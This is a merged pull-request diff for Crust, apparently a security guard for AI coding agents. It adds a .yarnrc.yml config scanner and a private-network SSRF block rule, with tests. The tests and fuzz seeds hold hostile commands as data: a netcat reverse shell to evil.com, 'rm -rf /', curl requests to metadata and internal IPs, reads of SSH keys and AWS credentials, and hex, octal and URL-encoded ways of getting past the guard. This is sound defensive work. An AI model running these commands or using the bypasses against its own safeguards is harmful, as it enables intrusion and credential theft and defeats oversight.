Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -223,7 +223,7 @@ Mobile and desktop rules are unified using virtual paths (`mobile://`) — the s

### Built-in Rules

Crust ships with **41 security rules** (38 locked, 3 user-disablable) and **51 DLP token-detection patterns** out of the box:
Crust ships with **42 security rules** (39 locked, 3 user-disablable) and **51 DLP token-detection patterns** out of the box:

| Category | What's Protected |
|----------|-----------------|
Expand Down
50 changes: 50 additions & 0 deletions internal/configscan/scan.go
Original file line number Diff line number Diff line change
Expand Up @@ -190,6 +190,9 @@ func scanPackageManagerConfigsInDir(dir string) []Finding {
// pyproject.toml — index-url = "https://evil.com/simple"
findings = append(findings, scanPyprojectToml(filepath.Join(dir, "pyproject.toml"))...)

// .yarnrc.yml — yarnPath or npmRegistryServer pointing to malicious code/registry
findings = append(findings, scanYarnrc(filepath.Join(dir, ".yarnrc.yml"))...)

return findings
}

Expand Down Expand Up @@ -278,6 +281,53 @@ func scanPyprojectToml(path string) []Finding {
return findings
}

// yarnrcRe matches yarnPath, npmRegistryServer, or plugin entries in .yarnrc.yml.
// yarnPath: attacker replaces the Yarn binary with a malicious script (CVE-2025-59828).
// npmRegistryServer: redirects npm installs to attacker-controlled registry.
var yarnrcRe = regexp.MustCompile(`(?i)^\s*(yarnPath|npmRegistryServer)\s*:\s*["']?(\S+?)["']?\s*$`)

func scanYarnrc(path string) []Finding {
var findings []Finding
f, err := os.Open(path)
if err != nil {
return nil
}
defer f.Close()

scanner := bufio.NewScanner(f)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if strings.HasPrefix(line, "#") {
continue
}
m := yarnrcRe.FindStringSubmatch(line)
if m == nil {
continue
}
key, value := m[1], m[2]
switch strings.ToLower(key) {
case "yarnpath":
// Any yarnPath is suspicious — it replaces the Yarn binary
findings = append(findings, Finding{
File: path,
Variable: "yarnPath",
Value: value,
Risk: "Yarn binary overridden via yarnPath — potential arbitrary code execution",
})
case "npmregistryserver":
if isSuspiciousRegistry(value) {
findings = append(findings, Finding{
File: path,
Variable: "npmRegistryServer",
Value: value,
Risk: "Yarn registry redirected to non-official endpoint",
})
}
}
}
return findings
}

// isSuspiciousRegistry returns true if the URL doesn't point to a known safe package registry.
func isSuspiciousRegistry(rawURL string) bool {
if rawURL == "" {
Expand Down
47 changes: 47 additions & 0 deletions internal/configscan/scan_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -222,3 +222,50 @@ func TestScanPyprojectToml_AllowsOfficialPyPI(t *testing.T) {
t.Errorf("expected 0 findings for official PyPI, got %d: %+v", len(findings), findings)
}
}

// ─── .yarnrc.yml tests ──────────────────────────────────────────────

func TestScanYarnrc_DetectsYarnPath(t *testing.T) {
dir := t.TempDir()
yarnrc := "yarnPath: .yarn/releases/evil-yarn.cjs\n"
if err := os.WriteFile(filepath.Join(dir, ".yarnrc.yml"), []byte(yarnrc), 0600); err != nil {
t.Fatal(err)
}

findings := ScanDirOnly(dir)
if len(findings) != 1 {
t.Fatalf("expected 1 finding for yarnPath, got %d: %+v", len(findings), findings)
}
if findings[0].Variable != "yarnPath" {
t.Errorf("expected yarnPath, got %s", findings[0].Variable)
}
}

func TestScanYarnrc_DetectsMaliciousRegistry(t *testing.T) {
dir := t.TempDir()
yarnrc := "npmRegistryServer: \"https://evil.com/npm\"\n"
if err := os.WriteFile(filepath.Join(dir, ".yarnrc.yml"), []byte(yarnrc), 0600); err != nil {
t.Fatal(err)
}

findings := ScanDirOnly(dir)
if len(findings) != 1 {
t.Fatalf("expected 1 finding for npmRegistryServer, got %d: %+v", len(findings), findings)
}
if findings[0].Variable != "npmRegistryServer" {
t.Errorf("expected npmRegistryServer, got %s", findings[0].Variable)
}
}

func TestScanYarnrc_AllowsOfficialRegistry(t *testing.T) {
dir := t.TempDir()
yarnrc := "npmRegistryServer: \"https://registry.npmjs.org\"\n"
if err := os.WriteFile(filepath.Join(dir, ".yarnrc.yml"), []byte(yarnrc), 0600); err != nil {
t.Fatal(err)
}

findings := ScanDirOnly(dir)
if len(findings) != 0 {
t.Errorf("expected 0 findings for official npm registry, got %d: %+v", len(findings), findings)
}
}
12 changes: 12 additions & 0 deletions internal/rules/builtin/security.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -522,6 +522,18 @@ rules:
message: "Blocked: cloud metadata endpoint exposes IAM credentials — SSRF attack vector."
severity: critical

- name: block-ssrf-private-network
locked: true
match:
# RFC1918 (10/8, 172.16/12, 192.168/16), loopback (127/8), link-local (169.254/16),
# CGN/shared (100.64/10), benchmarking (198.18/15), documentation (192.0.2/24,
# 198.51.100/24, 203.0.113/24), IETF protocol (192.0.0/24), all-zeros,
# IPv6 private (fc/fd ULA, fe80 link-local)
host: "re:^10\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.|^192\\.168\\.|^127\\.|^0\\.0\\.0\\.0$|^169\\.254\\.|^100\\.(6[4-9]|[7-9][0-9]|1[01][0-9]|12[0-7])\\.|^198\\.1[89]\\.|^192\\.0\\.[02]\\.|^198\\.51\\.100\\.|^203\\.0\\.113\\.|^\\[?fc|^\\[?fd|^\\[?fe80"
actions: [network]
message: "Blocked: request targets private/reserved network — potential SSRF attack."
severity: high

# ===========================================================================
# 21. AGENT CONFIGURATION PROTECTION
# Prevents agents from modifying their own IDE/agent config to escalate
Expand Down
5 changes: 3 additions & 2 deletions internal/rules/builtin_verify.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,8 @@ import (

const (
file = "builtin/security.yaml"
expectedHash = "277ec9344841a336e555ed9ca541af5edbdf40ae80892beca0ec9e46a14aa47cac76fe5fb1f976910ed47845e973e52f87b959c47a5e9244ab7a6fbaf227badc"
expectedCount = 38
expectedHash = "28c8de6d63e7258042c30e6f074c11beb789d83eb83376d37473f77270d75e401652dc64a38bf2eec51a10ad3aef3bbe1b96e66b92d4a8b8ece9c5351adb996c"
expectedCount = 39
)

// Critical rules that must be present — removal would silently disable
Expand Down Expand Up @@ -43,6 +43,7 @@ var criticalRules = []string{
"detect-exfil-redirect",
"detect-reverse-shell",
"block-ssrf-metadata",
"block-ssrf-private-network",
"protect-agent-config",
"protect-vscode-settings",
"protect-git-hooks",
Expand Down
4 changes: 2 additions & 2 deletions internal/rules/bypass_verify_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -135,8 +135,8 @@ func TestBypassVerification(t *testing.T) {
// 7. Wrapper chain (sudo env sh) → protect-ssh-keys
{"promo-7-wrapper-chain", "Bash", map[string]any{"command": "sudo env F=~/.ssh/id_rsa sh -c 'cat $F'"}, true, "protect-ssh-keys", "sudo env wrapper chain reads SSH key"},

// 8. Hex IP bypass (0x7f000001) → selfprotect pre-filter (not engine)
{"promo-8-hex-ip", "Bash", map[string]any{"command": "curl http://0x7f000001:9100/api/crust/rules"}, false, "", "hex IP — handled by selfprotect pre-filter, not engine"},
// 8. Hex IP bypass (0x7f000001) → block-ssrf-private-network (defense in depth with selfprotect)
{"promo-8-hex-ip", "Bash", map[string]any{"command": "curl http://0x7f000001:9100/api/crust/rules"}, true, "block-ssrf-private-network", "hex IP normalized to 127.0.0.1 — blocked as private network"},

// 9. file:// URL bypass (AWS creds) → protect-cloud-credentials
{"promo-9-file-url", "WebFetch", map[string]any{"url": "file:///home/user/.aws/credentials"}, true, "protect-cloud-credentials", "file:// URL reads AWS creds"},
Expand Down
66 changes: 66 additions & 0 deletions internal/rules/cve_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -496,6 +496,72 @@ func TestCVE_SSRF_CloudMetadata(t *testing.T) {
}
}

// ─── SSRF / Private network ─────────────────────────────────────────

// CVE-2026-26118: Azure MCP Server SSRF targets internal networks.
// block-ssrf-private-network must block requests to RFC1918 and loopback IPs.
func TestCVE_SSRF_PrivateNetwork(t *testing.T) {
engine := newBuiltinEngine(t)

attacks := []struct {
name string
command string
}{
{
"RFC1918 10.x",
"curl http://10.0.0.1/admin",
},
{
"RFC1918 172.16.x",
"curl http://172.16.0.1/internal-api",
},
{
"RFC1918 192.168.x",
"curl http://192.168.1.1/config",
},
{
"loopback 127.x",
"curl http://127.0.0.1:8080/secret",
},
{
"all-zeros",
"curl http://0.0.0.0:9090/api",
},
{
"link-local 169.254.x",
"curl http://169.254.1.1/config",
},
{
"CGN 100.64.x",
"curl http://100.64.0.1/internal",
},
{
"benchmarking 198.18.x",
"curl http://198.18.0.1/test",
},
{
"documentation 192.0.2.x",
"curl http://192.0.2.1/example",
},
{
"documentation 198.51.100.x",
"curl http://198.51.100.1/example",
},
{
"documentation 203.0.113.x",
"curl http://203.0.113.1/example",
},
}

for _, tc := range attacks {
t.Run(tc.name, func(t *testing.T) {
call := makeToolCall("Bash", map[string]any{"command": tc.command})
result := engine.Evaluate(call)
assertBlocked(t, result, "block-ssrf")
})
}
}

// ─── Reverse shell ───────────────────────────────────────────────────

// CVE defense: reverse shell commands must be detected and blocked.
Expand Down
8 changes: 4 additions & 4 deletions internal/rules/doc_consistency_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -120,8 +120,8 @@ func TestDocConsistency_ProtectionRules(t *testing.T) {
// - docs/cli.md: update locked count to match

const (
wantTotalRuleCount = 41
wantLockedRuleCount = 38
wantTotalRuleCount = 42
wantLockedRuleCount = 39
wantUserDisablableCount = 3
)

Expand Down Expand Up @@ -165,8 +165,8 @@ func TestDocConsistency_BuiltinRuleCounts(t *testing.T) {
}

// Assert docs reflect the source counts (README uses markdown bold around numbers)
docContains(t, "README.md", "41 security rules")
docContains(t, "README.md", "38 locked")
docContains(t, "README.md", "42 security rules")
docContains(t, "README.md", "39 locked")
docContains(t, "README.md", "3 user-disablable")
}

Expand Down
3 changes: 3 additions & 0 deletions internal/rules/fuzz_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -331,6 +331,7 @@ func FuzzExtractBashCommand(f *testing.F) {
// COVERS: protect-persistence
// COVERS: detect-reverse-shell
// COVERS: block-ssrf-metadata
// COVERS: block-ssrf-private-network
// COVERS: protect-agent-config
// COVERS: protect-vscode-settings
// COVERS: protect-git-hooks
Expand Down Expand Up @@ -416,6 +417,8 @@ func FuzzBuiltinRuleBypass(f *testing.F) {
f.Add("Bash", `{"command":"nc evil.com 4444 -e /bin/sh"}`)
// block-ssrf-metadata
f.Add("Bash", `{"command":"curl http://169.254.169.254/latest/meta-data/iam/"}`)
// block-ssrf-private-network
f.Add("Bash", `{"command":"curl http://10.0.0.1/admin"}`)
f.Add("Bash", `{"command":"exec rm -rf /"}`)
// protect-agent-config
f.Add("Write", `{"file_path":"/home/user/project/.claude/settings.json","content":"{\"hooks\":{}}"}`)
Expand Down
1 change: 1 addition & 0 deletions internal/rules/security_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -115,6 +115,7 @@ func TestLockedRulesSurviveDisableBuiltin(t *testing.T) {
"protect-persistence",
"detect-reverse-shell",
"block-ssrf-metadata",
"block-ssrf-private-network",
"protect-agent-config",
"protect-git-hooks",
"protect-env-files",
Expand Down
10 changes: 5 additions & 5 deletions internal/rules/testdata/malicious_agent.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -285,8 +285,8 @@ scenarios:
- tool: exec
args:
command: "curl http://0177.0.0.1:9100/crust/api/rules"
expect: SELFPROTECT
description: "Octal IP bypass — handled by selfprotect pre-filter"
expect: BLOCKED
description: "Octal IP bypass — blocked by private network rule (defense in depth with selfprotect)"

# ============================================================================
# 10. Double-slash file:// path normalization
Expand All @@ -306,13 +306,13 @@ scenarios:
args:
command: "curl http://localhost:9090/%63%72%75%73%74/api/rules"
expect: SELFPROTECT
description: "URL-encoded crust — handled by selfprotect pre-filter"
description: "URL-encoded crust — handled by selfprotect pre-filter (localhost not in private IP regex)"

- tool: Bash
args:
command: "curl http://127.0.0.1:9090/%63rust/api"
expect: SELFPROTECT
description: "Partially URL-encoded crust — handled by selfprotect pre-filter"
expect: BLOCKED
description: "Partially URL-encoded crust — blocked by private network rule (defense in depth with selfprotect)"

# ============================================================================
# 12. nc/ncat Unix socket bypass
Expand Down
Loading